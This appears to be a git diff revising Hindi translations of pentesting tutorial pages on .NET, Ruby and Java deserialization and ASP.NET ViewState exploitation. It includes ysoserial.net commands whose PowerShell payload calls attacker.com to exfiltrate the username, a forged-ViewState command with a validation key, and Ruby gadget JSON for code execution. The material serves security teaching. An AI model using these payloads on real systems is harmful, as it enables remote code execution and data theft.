||||
- **`--gadget`** का उपयोग शोषण करने के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||||
- **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
|
||||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** (डिफ़ॉल्ट रूप से विंडोज़ पर उपयोग की जाने वाली एन्कोडिंग) का उपयोग करके **एन्कोड** करेगा, इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं, तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोक सकती हैं (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||||
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
|
||||
|
||||
#### अधिक ysoserial.net पैरामीटर
|
||||
|
||||
@ -712,21 +712,21 @@ return obj;
|
||||
|
||||
[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) पर एक नज़र डालें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों** को जानते हैं, तो [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
|
||||
|
||||
### Prevention
|
||||
### रोकथाम
|
||||
|
||||
.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:
|
||||
|
||||
- **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
|
||||
- **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||||
- **`JavaScriptSerializer` के साथ `JavaScriptTypeResolver` का उपयोग करने से बचें।**
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की संपत्तियों को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं।
|
||||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, जिससे सेवा से इनकार के हमले हो सकते हैं।
|
||||
- **जोखिम भरे गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
|
||||
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी कमजोर हो जाएं।
|
||||
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
|
||||
- **.Net में ज्ञात असुरक्षित deserialization गैजेट्स के बारे में सूचित रहें** और सुनिश्चित करें कि deserializers ऐसे प्रकारों का निर्माण न करें।
|
||||
- **संभावित जोखिम भरे कोड को इंटरनेट एक्सेस वाले कोड से अलग करें** ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर न किया जा सके।
|
||||
- **संभावित जोखिम भरे कोड को** इंटरनेट एक्सेस वाले कोड से अलग करें ताकि ज्ञात गैजेट्स, जैसे WPF एप्लिकेशनों में `System.Windows.Data.ObjectDataProvider`, को अविश्वसनीय डेटा स्रोतों के लिए उजागर करने से बचा जा सके।
|
||||
|
||||
### **References**
|
||||
### **संदर्भ**
|
||||
|
||||
- Java और .Net JSON deserialization **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
@ -735,9 +735,9 @@ return obj;
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुविधाजनक है। पहली विधि, जिसे **dump** कहा जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है।
|
||||
Ruby में, serialization **marshal** पुस्तकालय के भीतर दो विधियों द्वारा सुगम बनाया गया है। पहली विधि, जिसे **dump** कहा जाता है, का उपयोग एक ऑब्जेक्ट को बाइट स्ट्रीम में परिवर्तित करने के लिए किया जाता है। इस प्रक्रिया को serialization कहा जाता है। इसके विपरीत, दूसरी विधि, **load**, का उपयोग बाइट स्ट्रीम को वापस एक ऑब्जेक्ट में बदलने के लिए किया जाता है, जिसे deserialization कहा जाता है।
|
||||
|
||||
Serialized ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
|
||||
सिरियलाइज्ड ऑब्जेक्ट्स को सुरक्षित करने के लिए, **Ruby HMAC (Hash-Based Message Authentication Code)** का उपयोग करता है, जो डेटा की अखंडता और प्रामाणिकता सुनिश्चित करता है। इस उद्देश्य के लिए उपयोग की जाने वाली कुंजी कई संभावित स्थानों में से एक में संग्रहीत होती है:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -825,8 +825,8 @@ puts Base64.encode64(payload)
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
इसके अलावा, यदि **`.send()`** का केवल एक पैरामीटर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
|
||||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **गिनना संभव है ताकि उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स को पाया जा सके**।
|
||||
इसके अलावा, यदि केवल एक पैरामीटर **`.send()`** पर हमलावर द्वारा नियंत्रित किया जाता है, जैसा कि पिछले लेख में उल्लेख किया गया है, तो किसी भी ऐसे ऑब्जेक्ट के मेथड को कॉल करना संभव है जिसे **आर्गुमेंट्स की आवश्यकता नहीं है** या जिनके आर्गुमेंट्स के **डिफ़ॉल्ट मान** हैं।\
|
||||
इसके लिए, ऑब्जेक्ट के सभी मेथड्स को **उन आवश्यकताओं को पूरा करने वाले कुछ दिलचस्प मेथड्स खोजने के लिए एन्यूमरेट करना संभव है**।
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -854,7 +854,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json pollution
|
||||
|
||||
जब किसी बॉडी में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, तो उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए बॉडी में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
जब शरीर में कुछ मान भेजे जाते हैं जो हैशेबल नहीं होते जैसे कि एक एरे, उन्हें `_json` नामक एक नए कुंजी में जोड़ा जाएगा। हालाँकि, एक हमलावर के लिए शरीर में `_json` नामक एक मान सेट करना भी संभव है जिसमें वह मनचाहे मान डाल सकता है। फिर, यदि बैकएंड उदाहरण के लिए एक पैरामीटर की सत्यता की जांच करता है लेकिन फिर `_json` पैरामीटर का उपयोग कुछ क्रिया करने के लिए करता है, तो एक प्राधिकरण बायपास किया जा सकता है।
|
||||
|
||||
अधिक जानकारी के लिए [Ruby _json pollution पृष्ठ](ruby-_json-pollution.md) पर जांचें।
|
||||
|
||||
@ -862,7 +862,7 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
यह तकनीक [**इस ब्लॉग पोस्ट**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) से ली गई थी।
|
||||
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के अनसीरियलाइज होने पर कॉल किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए मूल रूप से कार्य):
|
||||
अन्य Ruby पुस्तकालय हैं जिन्हें ऑब्जेक्ट्स को सीरियलाइज़ करने के लिए उपयोग किया जा सकता है और इसलिए इसका दुरुपयोग RCE प्राप्त करने के लिए असुरक्षित डेसिरियलाइजेशन के दौरान किया जा सकता है। निम्नलिखित तालिका इनमें से कुछ पुस्तकालयों और उन विधियों को दिखाती है जिन्हें लोड की गई पुस्तकालय के भीतर जब भी इसे अनसीरियलाइज़ किया जाता है (RCE प्राप्त करने के लिए दुरुपयोग करने के लिए कार्य):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
@ -900,7 +900,7 @@ Oj का दुरुपयोग करने की कोशिश के
|
||||
"password": "anypw"
|
||||
}
|
||||
```
|
||||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो एक अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह से पूर्ण RCE में परिवर्तित किया जा सके:
|
||||
इसके अलावा, यह पाया गया कि पिछले तकनीक के साथ एक फ़ोल्डर भी सिस्टम में बनाया जाता है, जो किसी अन्य गैजेट का दुरुपयोग करने की आवश्यकता है ताकि इसे कुछ इस तरह के पूर्ण RCE में परिवर्तित किया जा सके:
|
||||
```json
|
||||
{
|
||||
"^o": "Gem::Resolver::SpecSpecification",
|
||||
|
@ -14,15 +14,15 @@
|
||||
|
||||
**System.Windows.Data** नामस्थान, जो **PresentationFramework.dll** में `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` पर पाया जाता है, वह जगह है जहाँ ObjectDataProvider परिभाषित और कार्यान्वित किया गया है।
|
||||
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप **क्लास के कोड का निरीक्षण** कर सकते हैं जिसमें हम रुचि रखते हैं। नीचे दी गई छवि में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का कोड देख रहे हैं।
|
||||
[**dnSpy**](https://github.com/0xd4d/dnSpy) का उपयोग करके आप **उस क्लास का कोड निरीक्षण कर सकते हैं जिसमें हम रुचि रखते हैं।** नीचे की छवि में हम **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** का कोड देख रहे हैं।
|
||||
|
||||
.png>)
|
||||
|
||||
जैसा कि आप देख सकते हैं जब `MethodName` सेट किया जाता है `base.Refresh()` को कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:
|
||||
जैसा कि आप देख सकते हैं जब `MethodName` सेट किया जाता है तो `base.Refresh()` को कॉल किया जाता है, चलो देखते हैं कि यह क्या करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
ठीक है, चलो देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा ओवरराइड किया गया है और यह क्या करता है:
|
||||
ठीक है, चलो देखते हैं कि `this.BeginQuery()` क्या करता है। `BeginQuery` को `ObjectDataProvider` द्वारा ओवरराइड किया गया है और यह यह करता है:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -30,7 +30,7 @@
|
||||
|
||||
.png>)
|
||||
|
||||
ध्यान दें कि यह `QueryWorker` फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसके दिलचस्प भाग को दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है** यह वह पंक्ति है जहाँ **मेथड सेट को कॉल किया जाता है**।
|
||||
ध्यान दें कि यह `QueryWorker` फ़ंक्शन का पूरा कोड नहीं है लेकिन यह इसके दिलचस्प हिस्से को दिखाता है: कोड **`this.InvokeMethodOnInstance(out ex);` को कॉल करता है** यह वह पंक्ति है जहाँ **मेथड सेट को लागू किया जाता है**।
|
||||
|
||||
यदि आप यह जांचना चाहते हैं कि केवल _**MethodName**_ सेट करने पर यह निष्पादित होगा, तो आप यह कोड चला सकते हैं:
|
||||
```java
|
||||
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
ध्यान दें कि आपको `System.Windows.Data` को लोड करने के लिए संदर्भ के रूप में _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ जोड़ने की आवश्यकता है।
|
||||
ध्यान दें कि आपको `System.Windows.Data` लोड करने के लिए संदर्भ के रूप में _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ जोड़ने की आवश्यकता है।
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
पिछले शोषण का उपयोग करते समय ऐसे मामले होंगे जहाँ **object** को _**ObjectDataProvider**_ उदाहरण के रूप में **deserialized** किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को `GetType` का उपयोग करके deserialized किया गया था)। फिर, _ObjectDataProvider_ उदाहरण में लिपटे **object type के बारे में कोई जानकारी नहीं होगी** (उदाहरण के लिए `Process`)। आप [DotNetNuke vuln के बारे में अधिक जानकारी यहाँ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) पा सकते हैं।
|
||||
पिछले एक्सप्लॉइट का उपयोग करते समय ऐसे मामले होंगे जहाँ **object** को _**ObjectDataProvider**_ उदाहरण के रूप में **deserialized** किया जाएगा (उदाहरण के लिए DotNetNuke vuln में, XmlSerializer का उपयोग करते हुए, object को `GetType` का उपयोग करके deserialized किया गया था)। फिर, _ObjectDataProvider_ उदाहरण में लिपटे **object type के बारे में कोई जानकारी नहीं होगी** (उदाहरण के लिए `Process`)। आप [DotNetNuke vuln के बारे में अधिक जानकारी यहाँ](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) प्राप्त कर सकते हैं।
|
||||
|
||||
यह वर्ग **उन object types को निर्दिष्ट करने की अनुमति देता है जो एक दिए गए उदाहरण में संलग्न हैं**। इसलिए, इस वर्ग का उपयोग एक स्रोत object (_ObjectDataProvider_) को एक नए object type में संलग्न करने और हमें आवश्यक गुण प्रदान करने के लिए किया जा सकता है (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_)।\
|
||||
यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम **\_ObjectDataProvider**_\*\* को एक \*\*_**ExpandedWrapper** \_ उदाहरण के अंदर **wrap** कर सकेंगे और **जब deserialized** किया जाएगा तो यह वर्ग _**OjectDataProvider**_ object बनाएगा जो _**MethodName**_ में निर्दिष्ट **function** को **execute** करेगा।
|
||||
यह क्लास **उन object types को निर्दिष्ट करने की अनुमति देती है जो एक दिए गए उदाहरण में संलग्न हैं**। इसलिए, इस क्लास का उपयोग एक स्रोत object (_ObjectDataProvider_) को एक नए object type में संलग्न करने और हमें आवश्यक गुण प्रदान करने के लिए किया जा सकता है (_ObjectDataProvider.MethodName_ और _ObjectDataProvider.MethodParameters_)।\
|
||||
यह पहले प्रस्तुत किए गए मामले जैसे मामलों के लिए बहुत उपयोगी है, क्योंकि हम **\_ObjectDataProvider**_\*\* को एक \*\*_**ExpandedWrapper** \_ उदाहरण के अंदर **wrap** कर सकेंगे और **जब deserialized** किया जाएगा तो यह क्लास _**OjectDataProvider**_ object बनाएगी जो _**MethodName**_ में निर्दिष्ट **function** को **execute** करेगी।
|
||||
|
||||
आप निम्नलिखित कोड के साथ इस wrapper की जांच कर सकते हैं:
|
||||
```java
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
Java `Serializable` इंटरफेस (`java.io.Serializable` एक मार्कर इंटरफेस है जिसे आपकी कक्षाओं को लागू करना चाहिए यदि उन्हें **serializable** और **deserializable** होना है। Java ऑब्जेक्ट सीरियलाइजेशन (लेखन) [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) के साथ किया जाता है और डेसिरियलाइजेशन (पढ़ना) [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) के साथ किया जाता है।
|
||||
|
||||
आइए एक **कक्षा Person** का उदाहरण देखें जो **serializable** है। यह कक्षा **readObject** फ़ंक्शन को **ओवरराइट** करती है, इसलिए जब इस **कक्षा** का **कोई ऑब्जेक्ट** **deserialized** होता है, तो यह **फ़ंक्शन** **कार्यन्वित** होगा।\
|
||||
उदाहरण में, कक्षा Person का **readObject फ़ंक्शन** उसके पालतू जानवर के `eat()` फ़ंक्शन को कॉल करता है और कुत्ते का `eat()` फ़ंक्शन (किसी कारण से) एक **calc.exe** को कॉल करता है। **हम देखेंगे कि इस कैलकुलेटर को कार्यान्वित करने के लिए एक Person ऑब्जेक्ट को कैसे सीरियलाइज और डेसिरियलाइज किया जाए:**
|
||||
आइए एक **क्लास Person** का उदाहरण देखें जो **serializable** है। यह क्लास **readObject** फ़ंक्शन को **ओवरराइट** करती है, इसलिए जब इस **क्लास** का **कोई ऑब्जेक्ट** **deserialized** होता है, तो यह **फंक्शन** **एक्ज़ीक्यूट** होगा।\
|
||||
उदाहरण में, क्लास Person का **readObject फंक्शन** उसके पालतू जानवर के `eat()` फ़ंक्शन को कॉल करता है और कुत्ते का `eat()` फ़ंक्शन (किसी कारण से) एक **calc.exe** को कॉल करता है। **हम देखेंगे कि इस कैलकुलेटर को चलाने के लिए एक Person ऑब्जेक्ट को कैसे सीरियलाइज और डेसिरियलाइज किया जाए:**
|
||||
|
||||
**निम्नलिखित उदाहरण [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) से है**
|
||||
**निम्नलिखित उदाहरण [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649) से है।**
|
||||
```java
|
||||
import java.io.Serializable;
|
||||
import java.io.*;
|
||||
|
@ -9,20 +9,20 @@
|
||||
ViewState जानकारी को निम्नलिखित गुणों या उनके संयोजनों द्वारा वर्णित किया जा सकता है:
|
||||
|
||||
- **Base64**:
|
||||
- यह प्रारूप तब उपयोग किया जाता है जब `EnableViewStateMac` और `ViewStateEncryptionMode` गुण दोनों को false पर सेट किया गया हो।
|
||||
- यह प्रारूप तब उपयोग किया जाता है जब दोनों `EnableViewStateMac` और `ViewStateEncryptionMode` गुण false पर सेट होते हैं।
|
||||
- **Base64 + MAC (Message Authentication Code) Enabled**:
|
||||
- MAC को सक्रिय करने के लिए `EnableViewStateMac` गुण को true पर सेट किया जाता है। यह ViewState डेटा के लिए अखंडता सत्यापन प्रदान करता है।
|
||||
- **Base64 + Encrypted**:
|
||||
- एन्क्रिप्शन तब लागू होता है जब `ViewStateEncryptionMode` गुण को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।
|
||||
- एन्क्रिप्शन तब लागू किया जाता है जब `ViewStateEncryptionMode` गुण को true पर सेट किया जाता है, जिससे ViewState डेटा की गोपनीयता सुनिश्चित होती है।
|
||||
|
||||
## Test Cases
|
||||
|
||||
चित्र एक तालिका है जो .NET फ्रेमवर्क संस्करण के आधार पर ASP.NET में ViewState के लिए विभिन्न कॉन्फ़िगरेशन का विवरण देती है। यहाँ सामग्री का सारांश है:
|
||||
चित्र ASP.NET में ViewState के विभिन्न कॉन्फ़िगरेशन का एक तालिका है जो .NET फ्रेमवर्क संस्करण पर आधारित है। यहाँ सामग्री का सारांश है:
|
||||
|
||||
1. **किसी भी संस्करण के लिए .NET**, जब MAC और एन्क्रिप्शन दोनों अक्षम होते हैं, तो एक MachineKey की आवश्यकता नहीं होती है, और इसलिए इसे पहचानने के लिए कोई लागू विधि नहीं है।
|
||||
2. **4.5 से नीचे के संस्करणों के लिए**, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो एक MachineKey की आवश्यकता होती है। MachineKey की पहचान करने की विधि को "Blacklist3r" कहा जाता है।
|
||||
3. **4.5 से नीचे के संस्करणों के लिए**, चाहे MAC सक्षम हो या अक्षम, यदि एन्क्रिप्शन सक्षम है, तो एक MachineKey की आवश्यकता होती है। MachineKey की पहचान करना "Blacklist3r - Future Development" का कार्य है।
|
||||
4. **4.5 और उससे ऊपर के संस्करणों के लिए**, MAC और एन्क्रिप्शन के सभी संयोजनों (चाहे दोनों सत्य हों, या एक सत्य हो और दूसरा असत्य) के लिए एक MachineKey की आवश्यकता होती है। MachineKey की पहचान "Blacklist3r" का उपयोग करके की जा सकती है।
|
||||
2. **संस्करण 4.5 से नीचे**, यदि MAC सक्षम है लेकिन एन्क्रिप्शन नहीं है, तो एक MachineKey की आवश्यकता होती है। MachineKey की पहचान करने की विधि को "Blacklist3r" कहा जाता है।
|
||||
3. **संस्करण 4.5 से नीचे**, चाहे MAC सक्षम हो या अक्षम, यदि एन्क्रिप्शन सक्षम है, तो एक MachineKey की आवश्यकता होती है। MachineKey की पहचान करना "Blacklist3r - Future Development" का कार्य है।
|
||||
4. **संस्करण 4.5 और ऊपर**, MAC और एन्क्रिप्शन के सभी संयोजनों (चाहे दोनों true हों, या एक true हो और दूसरा false) के लिए एक MachineKey की आवश्यकता होती है। MachineKey की पहचान "Blacklist3r" का उपयोग करके की जा सकती है।
|
||||
|
||||
### Test Case: 1 – EnableViewStateMac=false and viewStateEncryptionMode=false
|
||||
|
||||
@ -32,15 +32,15 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**ViewState विशेषताओं की पहचान करना**
|
||||
|
||||
आप BurpSuite के साथ इस पैरामीटर को शामिल करने वाले अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि क्या ViewState MAC से सुरक्षित है। यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया गया है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके इसका लाभ उठा सकते हैं।
|
||||
आप BurpSuite के साथ इस पैरामीटर को शामिल करने वाले अनुरोध को कैप्चर करके यह पहचानने की कोशिश कर सकते हैं कि क्या ViewState MAC से सुरक्षित है। यदि Mac का उपयोग पैरामीटर की सुरक्षा के लिए नहीं किया गया है, तो आप इसे [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके शोषण कर सकते हैं।
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Test case 1.5 – टेस्ट केस 1 की तरह लेकिन ViewState कुकी सर्वर द्वारा नहीं भेजी जाती
|
||||
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
|
||||
|
||||
डेवलपर्स **ViewState** को HTTP अनुरोध का हिस्सा बनने से **हटा** सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।\
|
||||
Developers can **ViewState** को HTTP Request का हिस्सा बनने से **हटाएं** (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।\
|
||||
कोई यह मान सकता है कि यदि **ViewState** **उपस्थित नहीं है**, तो उनका कार्यान्वयन **सुरक्षित** है किसी भी संभावित कमजोरियों से जो ViewState deserialization के साथ उत्पन्न हो सकती हैं।\
|
||||
हालांकि, ऐसा नहीं है। यदि हम अनुरोध शरीर में **ViewState पैरामीटर** जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी सीरियलाइज्ड पेलोड भेजते हैं, तो हम अभी भी **कोड निष्पादन** प्राप्त करने में सक्षम होंगे जैसा कि **केस 1** में दिखाया गया है।
|
||||
हालांकि, ऐसा नहीं है। यदि हम **ViewState parameter** को अनुरोध शरीर में जोड़ते हैं और ysoserial का उपयोग करके बनाई गई अपनी सीरियलाइज्ड पेलोड भेजते हैं, तो हम अभी भी **कोड निष्पादन** प्राप्त करने में सक्षम होंगे जैसा कि **Case 1** में दिखाया गया है।
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -59,7 +59,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
चूंकि पैरामीटर MAC द्वारा सुरक्षित है, इस बार हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए।
|
||||
इस बार चूंकि पैरामीटर MAC से सुरक्षित है, इसलिए हमले को सफलतापूर्वक निष्पादित करने के लिए हमें पहले उपयोग किया गया कुंजी चाहिए।
|
||||
|
||||
आप उपयोग की गई कुंजी खोजने के लिए [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का प्रयास कर सकते हैं।
|
||||
```
|
||||
@ -92,29 +92,29 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||

|
||||
|
||||
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** के साथ हमले को आगे बढ़ा सकते हैं:
|
||||
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** के साथ हमले को आगे बढ़ा सकते हैं।
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
